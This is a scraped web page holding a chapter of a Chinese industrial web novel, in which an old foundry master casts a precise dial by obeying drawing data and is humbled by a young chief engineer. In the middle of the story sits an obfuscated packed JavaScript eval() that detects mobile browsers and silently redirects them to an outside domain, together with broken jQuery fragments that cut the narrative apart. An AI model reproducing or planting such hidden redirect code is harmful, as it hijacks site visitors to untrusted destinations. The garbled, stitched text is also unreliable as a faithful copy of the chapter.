默认冷灰
24号文字
方正启体

第132章 数据的重量

作者:日更三万本书字数:K更新时间:
    时间,在铸造车间里仿佛凝固成了一块沉重而滚烫的琥珀。


    熔炉的轰鸣退居为遥远的背景音,所有人的听觉、视觉、乃至每一寸皮肤的感知,都死死地聚焦于那只静静冷却的石膏模具。


    它躺在砂箱中,由内而外地散发着惊人的热量,将周围的空气都炙烤得微微扭曲,像一道隔绝现实的屏障。


    没有人说话。


    没有人走动。


    甚至连呼吸,都变得小心翼翼,仿佛任何一丝多余的振动,都会惊扰模具内那个正在发生的、神圣而脆弱的嬗变。


    江建国就站在离模具最近的地方,如同一尊风干的雕像。


    他花白的头发被热浪吹得凌乱,身上的蓝色工装早已被汗水浸透,紧紧地贴在干瘦的脊背上,勾勒出嶙峋的骨骼形状。


    他的双眼,一眨不眨地盯着那块平平无奇的石膏,眼神中不再有先前的疯狂与暴怒,只剩下一种被掏空了所有情绪之后的、近乎麻木的专注。


    他在等待一场审判。


    一场对他过去数十年职业生涯的终极审判。


    这一次,他放弃了自己的一切,将所有的骄傲、经验、直觉都当作废铁,连同那个失败的铸件一起,亲手扔进了熔炉。


    他变成了一个最虔诚、最卑微的执行者,像一个初入门的学徒,战战兢兢地遵循着图纸上那些冰冷的、陌生的数字。


    1400摄氏度。


    1.2%的收缩率。


    HT250的精确配比。


    这些数字,此刻在他的脑海中盘旋、尖啸,组成了一套他前所未闻的、冷酷而陌生的法则。


    如果这一次依旧失败,那么被击碎的,将不仅仅是他的职业生涯,而是他作为一个“人”的全部价值。


    “时间……到了。”


    一个年轻工人看了看墙上的挂钟,声音干涩得像是从砂纸上挤出来一样。


    江建国僵硬的身体微微一动,仿佛生锈的齿轮终于被重新啮合。


    他没有回头,只是从喉咙深处挤出一个字:“水。”


    一桶冷水被抬了过来,工人们没有像往常那样直接浇上去,而是等待着江建国的指令。


    江建国缓缓伸出手,掌心向上,在距离模具半米远的地方感受着那股辐射而出的热量。


    他的动作,带着一种近乎宗教仪式的庄重。


    许久,他才沉声开口。


    “浇。”


    “哗啦”冷水与灼热的石膏模具接触,瞬间爆发出大团浓烈的水蒸气,伴随着刺耳的“嘶嘶”声,整个车间顷刻间被白雾笼罩。


    在这片伸手不见五指的迷雾中,所有人都屏住了呼吸。


    他们等待着那声最熟悉的、也最恐惧的“咔嚓”声那是铸件因骤然冷却而产生应力,最终开裂的死亡宣判。


    一秒。


    两秒。


    十秒。


    寂静。


    除了水蒸气消散的声音,车间里落针可闻。


    那声预想中的、象征着彻底失败的碎裂声,始终没有响起。


    当白雾渐渐散去,露出了那只依旧完整的、只是颜色变得斑驳灰白的石膏模具时,一阵压抑不住的、粗重的喘息声,在人群中此起彼伏。


    还活着。


    它还活着!


    “开模。”


    江建国的声音依旧沙哑,却多了一丝难以察觉的颤抖。


    两名工人立刻上前,一人用铁钳稳稳地固定住模具,另一人则举起了铁锤。


    他没有像上次那样随意敲击,而是目光凝重,小心翼翼地在模具的边缘,轻轻一磕。


    一声轻响。


    石膏外壳应声裂开一道细缝。


    紧接着,是第二下,第三下。


    工人的动作精准而克制,像是在剥开一枚珍贵的蛋。


    随着一块块石膏被剥落,那个凝聚了所有人希望与恐惧的刻度盘,终于再次露出了它的真容。


    它通体呈现出一种均匀的、带着金属光泽的青灰色。


    表面依旧粗糙,却再无上次那种因高温而产生的细小裂纹。


    最重要的是,外圈那排米粒大小的精密齿轮,每一个都轮廓清晰,形态完整,仿佛一支排列整齐的、沉默的军队。


    它静静地躺在那里,完美得像一个工业神迹。


    然而,这一次,车间里没有爆发出任何欢呼。


    取而代之的,是一种更为深沉的、令人头皮发麻的震撼。


    所有人都死死地盯着那个铸件,又下意识地抬头,看了一眼墙上贴着的那张图纸。


    他们的目光在实物与数据之间来回移动,眼神里充满了敬畏与迷茫。


    成功了。


    在他们放弃了自己引以为傲的“手艺”,转而像机器一样去服从那些枯燥的数字之后,成功就这么理所当然地到来了。


    这个结果,比任何失败都更让他们感到灵魂上的战栗。


    江建国缓缓走上前,蹲下身。


    他伸出那双布满了老茧和伤痕的手,想要去触摸那个铸件,却又在半空中停住,仿佛那不是一块冰冷的钢铁,而是一团燃烧的圣火。


    他收回手,转身,用一种近乎梦呓的声音说道:“卡尺。”


    铸造主任立刻将一把崭新的游标卡尺递了过去。


    江建国接过卡尺,深吸了一口气。


    他那双曾能徒手分辨出零点一毫米差距的手,此刻竟有些控制不住地微微颤抖。


    他努力了两次,才将卡尺的主尺和游标,稳稳地卡在了刻度盘的外圆上。


    车间里所有人都下意识地向前凑了一步,伸长了脖子,连大气都不敢喘。


    他们的目光,全部聚焦在那小小的、闪烁着金属光泽的刻度线上。


    江建国缓缓地,将卡尺举到眼前。


    他的瞳孔,在那一瞬间,骤然收缩。


    那根代表着“0”的游标刻度线,不偏不倚,与主尺上代表着标准尺寸的那条刻度线,完美地、严丝合缝地重合在了一起。


    分毫不差。


    他又去卡内孔。


    结果,依旧是分毫不差!


    “嗡”江建国的脑子里,像是有什么东西轰然炸开。


    他丢下卡尺,双手颤抖着,终于捧起了那块尚有余温的刻度盘。


    他用指腹,轻轻地、一遍又一遍地摩挲着那些精密而冰冷的齿轮。


    那完美的尺寸,那精确的形态,都在通过指尖的触感,向他传递着一个颠覆性的、不容置疑的真理。


    他错了。


    他过去几十年所信奉的一切,都错了。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366112|183469||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    真正的工业,不是一门手艺,不是一种经验,更不是一门可以凭感觉去揣摩的艺术。


    它是一门科学。


    一门由数字、公式和标准构筑的,冰冷、严苛,却拥有着创世之力的科学。


    两行滚烫的液体,毫无征兆地从这位老人干涸的眼眶中汹涌而出,顺着他脸颊上纵横交错的皱纹,滴落在那块完美的铸件上,瞬间蒸发,只留下一丝淡淡的水痕。


    他没有哭出声,只是死死地抱着那块刻度盘,瘦削的肩膀剧烈地耸动着,像一个迷途了几十年终于找到信仰的孩子。


    就在这时,那个熟悉而冷淡的声音,再次从车间门口传来。


    “看来,你们总算学会了怎么跟钢铁讲道理。”


    众人浑身一震,猛地回头。


    只见路承舟不知何时已经站在了那里,神情一如既往的平静,仿佛眼前这足以载入红星厂史册的一幕,对他而言,不过是一件微不足道的小事。


    他走了进来,从失魂落魄的江建国手中,自然而然地接过了那块刻度盘。


    他没有用卡尺,而是从口袋里摸出了一把更精密的、读数更为苛刻的千分尺。


    所有人的心,又一次提到了嗓子眼。


    路承舟熟练地校准,然后开始对几个关键的齿轮厚度进行抽样检测。


    他的动作行云流水,带着一种机械般的美感。


    片刻后,他放下了千分尺。


    “齿形轮廓度,还在公差范围的上限徘徊。”


    他淡淡地评价道,“模具的细节处理,有待提高。”


    一句话,让刚刚升起的一丝暖意,又被寒冰冻结。


    但这一次,没有人感到**或不忿,所有人都下意识地挺直了腰杆,像是在聆听教诲的学生。


    路承舟将刻度盘递还给铸造主任,语气里听不出一丝波澜。


    “合格。”


    “送到机加工车间,进行精加工。告诉他们,以此为基准,所有的同轴度、垂直度,都必须严格参照。”


    说完,他便转身,准备离去。


    “路总师!”


    江建国忽然抬起头,叫住了他。


    这位老人已经擦干了眼泪,他缓缓站直了身体,对着路承舟那年轻得过分的背影,深深地,深深地鞠下了一躬。


    “谢谢你……给我们上了这一课。”


    路承舟的脚步顿了顿,却没有回头。


    “记住数据的重量。”


    他留下这句话,身影便消失在了车间的门口。


    铸造车间里,一片沉默。


    许久之后,铸造主任才如梦初醒,他小心翼翼地,用最干净的绒布将那块刻度盘层层包裹起来,仿佛捧着一件稀世珍宝。


    “走!”


    他对着身边两个最得力的干将低吼一声,“我们亲自给机加工车间送过去!”


    当这块承载着全新秩序的“基准”被护送出去时,工装设计室的门,也“吱呀”一声被推开。


    刘师傅拖着灌了铅一样的双腿走了出来,他双眼通红,形容枯槁,手里却紧紧攥着一张刚刚完成的、墨迹未干的图纸。


    图纸的标题栏里,一排挺拔的仿宋字,在黎明的微光中,显得格外醒目:【强心柴油机曲轴总成图(公坐标准01版)】
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)